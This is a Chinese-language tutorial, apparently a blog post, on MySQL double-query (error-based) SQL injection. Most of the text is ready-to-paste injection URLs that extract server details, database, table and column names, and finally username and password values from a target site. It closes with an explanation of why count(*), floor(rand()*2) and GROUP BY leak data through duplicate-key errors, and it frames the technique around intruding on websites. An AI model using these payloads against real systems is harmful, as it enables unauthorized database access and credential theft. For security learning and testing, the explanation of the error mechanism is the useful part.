详解mysql双查询注入教程
介绍一下双查询注入,有时候我们通过order by 语句获取到了确定的列数,可是当我们使用union select或union select all查询的时候,
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6--
却会出现一个错误提示,列数不一致。
Different Number of Columns
而我们使用下面的语句:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
执行之后就会显示mysql版本,用户名,服务器名, 以及数据目录…
获取数据库里
许多人会在上面的语句里使用:database()方法来获取数据库,
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ,这样就能查到所有的数据库了。
注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。
补充个:
在普通的SQL注入中,使用如下的语句
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata--
会一次爆出所有的数据库
而使用下面的
f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8--
只会显示当前站点使用的数据库。
获取表名
回正题,我们继续使用双查询来获取数据库的表:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。
同样的,这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。
获取列名
然后我们来获取列名:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x"HEXDATABASE" AND table_name=0x"HEXTABLENAME" LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
和上一句很像,注意这一句”And table_name=0xHEXEDTABLENAME”
还是一样的。后面的部分是要查询的表名的hex值,同时,通过增加后面的LIMIT值来获取更多的列名。下面是大家最感兴趣的地方。。从列里面取值。
获取列值
一些人使用:
f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast("tablename"."columnname" as char),0x27,0x7e) FROM "databasename"."tablename" LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
也就是他们使用tablename.columnname
有个缺点就是一次只能获取一个列的值,要是该表有个1000多列啥的。。一个个就了。。为了更快一些。后来很多人开始使用这个:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select concat(username,0x7e,pass,0x7e7e) from "table" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
这样一次就能获取多个列的值了,但是还有个bug,因为是直接从mysql的所有表里面找,并且没有指定数据库名,如果mysql有两个数据库有同样的一个表名。那么这样找出来的就不知道到底是哪个了。。就混乱了。。所以。现在我们用这个:
f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from database.table limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
好处一个是可以一次获取多个列的值,同时使用 database.table, 可以明确我们要找的表了。不要忘了增加LIMIT来获取下一条记录啊
在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。
看一个简单的例子:
Select concat((select database()));
真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。
原理:
双注入查询需要理解四个函数/语句
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句
简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入
mysql -u root –p toor
就会连接上数据库了。
然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。
然后我们执行一下前面那个简单的子查询的例子
SELECT concat((select database()));
就能显示security,也就是显示了当前数据库的名字了。
然后我们测试一下concat的用法。输入
SELECT concat('string1','string2');
显然结果就是string1string2了
然后我们测试一下rand()这个随机函数是干嘛的
Select rand();
我们多执行几次
可以看到,这个函数就是返回大于0,小于1之间的数
然后看看取整函数
Select floor(1.1123456);
[![](/images/4477acaba79cf1464c028cab96e32534d81af2e5.png)](http://leaverimage.b0.upaiyun.com/33520_o.png) 这个函数就是返回小于等于你输入的数的整数。 然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是
SELECT floor(rand()*2);
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0
我们稍微加大一点难度。看这个查询
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行 concat连接,那么结果不是security0就是security1了。
如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果
现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。
注意。这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。
最后的亮点来了。。
我们输入这条:注意多了一个聚合函数count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
[![](/images/03af307809c7bcdfd4f77d3551d39e1d7fa7e515.png)](http://leaverimage.b0.upaiyun.com/33525_o.png) 报错了
ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’
重复的键值 可以看到security就是我们的查询结果了
想要查询版本就这样:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
看看替换了database()为version()
再看一个
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
报错
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'
这里的~这个符号只是为了让结果更清晰。
这里还有一个比较复杂的。叫做派生表。需要使用
select 1 from (table name); 这样的语法来报错,具体就是
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
来报错。